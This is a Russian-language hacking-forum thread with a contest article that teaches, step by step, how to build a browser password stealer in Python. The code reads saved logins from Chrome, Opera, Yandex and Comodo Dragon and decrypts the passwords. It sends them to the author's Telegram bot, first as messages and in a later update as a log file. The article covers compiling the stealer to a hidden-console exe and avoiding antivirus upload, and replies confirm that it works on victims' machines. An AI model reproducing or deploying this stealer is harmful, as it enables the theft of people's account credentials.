• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Авторская статья Пишем свой стиллер на Python

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Конкурс статей от VLMI
Привет. Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из своей прошлой статьи, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать, можно найти по ссылке -
ТЫК
Комментарии будут отмечены решеточкой - #
Установка Python
Переходим на официальный сайт PythonА - ТЫК. Скачиваем 3+ версию и устанавливаем ее.
1.png 2.png 3.png
Суть работы стиллера
Программа проверит наличие папок от указанных браузеров, при наличии - подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)
Создадим своего бота
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Код:
/start
/newbot
После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.
Код:
https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации

upload_2018-5-25_17-27-37.png

С ботом мы разобрались, идем дальше.

Начинаем кодить
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

Код:
pip install --upgrade pip

После обновления установим 2 нужные нам библиотеки,
pyTelegramBotAPI pywin32 и telebot

Код:
pip install pyTelegramBotAPI
pip install pywin32
pip install telebot
______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.
Код:
from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.
_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.

Код:
t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.
_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.
Код:
op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium

При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.
Код:
b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
    try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
        connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
        curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
        curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
         for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
             d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
             b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
             b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке

Теперь я попытаюсь объяснить суть вышеописанного кода на "простом" примере)

Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому[i] элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому[i] элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля[i] до длины списка с директориями.
Компилируем в exe
Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
Код:
pip install pyinstaller
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Код:
CD C:\compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:\compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile
После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо
viruschekmate,ScanMyBin - сдохли,nodstribute+virustotal - сливают данные(не суйте туда стиллер)), поэтому информация про "чистоту" остается для вас и для меня интригой)
Исходник и заключение
Исходники вы можете скачать по ссылке - ТЫК
upload_2018-5-26_12-46-24.png Так приходят логи, пароль находится между символом b' и '

Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению - прошу сообщить об этом :-)
P.S.
Словарик дополню новыми терминами

Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала
 
Последнее редактирование:

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
image.png
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Все работает, только маленько не удобно логи приходят. с 1 пк 286 сообщений
 
Последнее редактирование:

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Чу чуть не вьехал. А если у жертвы на пк нету телеги, пароли отправятся?
Мы получаем токен для полного управления ботом, и нашему боту мы даем комманду на отправку текста/переменной - в определенный чат.
То есть установленный телеграм не нужен.
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
В чем может быть проблема https://prnt.sc/jmwikk ?
Скорее всего ошибка в py скрипте, попробуй запустить не скомпилированные в exe код через IDLE и посмотри выдаст ли ошибку.
Также можно превратить в exe без параметра -w и посмотреть на ошибку в консоли,которая появится при запуске с exe.
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Сделал мини обновление.
Логи приходят в чат огромным потоком,и может получится 300+ сообщений. Чтобы это исправить все полученные данные мы будем записывать в текстовый документ и отправлять в чат телеграм.
Код:
#После импорта библиотек зададим две переменные
d1r_0f_log= "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Temp\\" + name_0f_user +".txt" #переменная d1r_0f_log равна директории \\..\\Temp\\users.txt
#мы создали директорию к текстовому документу с названием имени пользователя, который находится в папке темп
l0g=open(d1r_0f_log, 'w') #переменная l0g равняется открытию текстового файла,находящегося по пути d1r_0f_log и открыта под запись(writing)
#мы открыли текстовый документ и разрешили делать запись в него
##################################################
#Перед запуском цикла запишем в текстовый документ имя компьютера
l0g.write(str("Компьютер: " + name_0f_user + "\n")) #в переменную l0g записываем данные типа str: компьютер,имя пользователя и перенос следующего текста на новую строчку(\n)
##################################################
#Для второго цикла после создание переменной d3cryptpass, меняем отправку сообщения боту на этот код
            l0g.write(str(lsbr0wser[i] + "\n")) #в текстовик вносим текст с i-тым элементом из списка текстовых названий браузеров + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n") #в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
            l0g.write(str("Сайт: " + ii[0] + "\n")) #в текстовик вносим слово "сайт" + нулевой элемент в списке + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n")#в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
            l0g.write(str("Логин: " + ii[1] + "\n")) #в текстовик вносим слово "логин" + первый элемент в списке + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n") #в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
            d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
            l0g.write(str("Пароль: " + d3cryptpass + "\n")) #в текстовик вносим слово "пароль" + переменную d3cryptpass + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n") #в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
##################################################
Код после except меняем на этот
l0g.write(str("Браузер " + lsbr0wser[i] + " был запущен, или не установлен \n")) #в текстовик вносим слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке + перенос на новую строку(\n)
##################################################
В самом конце пишем следующее.
l0g=open(d1r_0f_log, 'rb') #заново открываем наш текстовик по адресу d1r_0f_log, только уже с правами чтения бинарного формата
b0t.send_document(id_вашего_чата, l0g) #от имени бота в наш чат отправляем документ l0g
l0g.close() #закрываем переменную l0g,наш текстовик
upload_2018-5-26_19-9-1.png
Скачать новую версию вы можете по ссылке - ТЫК
 

Alex71Reg

Участник
Сообщения
2
Реакции
1
0 руб.
Для просмотра содержимого вам необходимо авторизоваться.

Скорее всего ошибка в py скрипте, попробуй запустить не скомпилированные в exe код через IDLE и посмотри выдаст ли ошибку.
Также можно превратить в exe без параметра -w и посмотреть на ошибку в консоли,которая появится при запуске с exe.
Сделал как ты говорил. Где я ошибся https://prnt.sc/jmxi1n ?
 

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Сделал мини обновление.
Логи приходят в чат огромным потоком,и может получится 300+ сообщений. Чтобы это исправить все полученные данные мы будем записывать в текстовый документ и отправлять в чат телеграм.
Код:
#После импорта библиотек зададим две переменные
d1r_0f_log= "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Temp\\" + name_0f_user +".txt" #переменная d1r_0f_log равна директории \\..\\Temp\\users.txt
#мы создали директорию к текстовому документу с названием имени пользователя, который находится в папке темп
l0g=open(d1r_0f_log, 'w') #переменная l0g равняется открытию текстового файла,находящегося по пути d1r_0f_log и открыта под запись(writing)
#мы открыли текстовый документ и разрешили делать запись в него
##################################################
#Перед запуском цикла запишем в текстовый документ имя компьютера
l0g.write(str("Компьютер: " + name_0f_user + "\n")) #в переменную l0g записываем данные типа str: компьютер,имя пользователя и перенос следующего текста на новую строчку(\n)
##################################################
#Для второго цикла после создание переменной d3cryptpass, меняем отправку сообщения боту на этот код
            l0g.write(str(lsbr0wser[i] + "\n")) #в текстовик вносим текст с i-тым элементом из списка текстовых названий браузеров + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n") #в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
            l0g.write(str("Сайт: " + ii[0] + "\n")) #в текстовик вносим слово "сайт" + нулевой элемент в списке + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n")#в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
            l0g.write(str("Логин: " + ii[1] + "\n")) #в текстовик вносим слово "логин" + первый элемент в списке + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n") #в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
            d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
            l0g.write(str("Пароль: " + d3cryptpass + "\n")) #в текстовик вносим слово "пароль" + переменную d3cryptpass + перенос на новую строчку(\n)
            l0g.write("---------------------------- \n") #в текстовик вносим текст с разделительной линией/украшением + перенос на новую строчку(\n)
##################################################
Код после except меняем на этот
l0g.write(str("Браузер " + lsbr0wser[i] + " был запущен, или не установлен \n")) #в текстовик вносим слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке + перенос на новую строку(\n)
##################################################
В самом конце пишем следующее.
l0g=open(d1r_0f_log, 'rb') #заново открываем наш текстовик по адресу d1r_0f_log, только уже с правами чтения бинарного формата
b0t.send_document(id_вашего_чата, l0g) #от имени бота в наш чат отправляем документ l0g
l0g.close() #закрываем переменную l0g,наш текстовик
Посмотреть вложение 11587
Скачать новую версию вы можете по ссылке - ТЫК
upload_2018-5-26_16-53-53.png



up

проблема была в кодировки, убрал русский язык , теперь все нормально
 
Последнее редактирование:

cupertin

Резидент
Сообщения
206
Реакции
271
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Четко сделал) Держу кулаки что бы ты в конкурсе выиграл ) как по мне лучшая статья не учитывая МОЛЛИ которую уже все забыли)
 

danaforevr

питонист

danaforevr

питонист
Резидент
Сообщения
269
Реакции
516
0 руб.
Сверху Снизу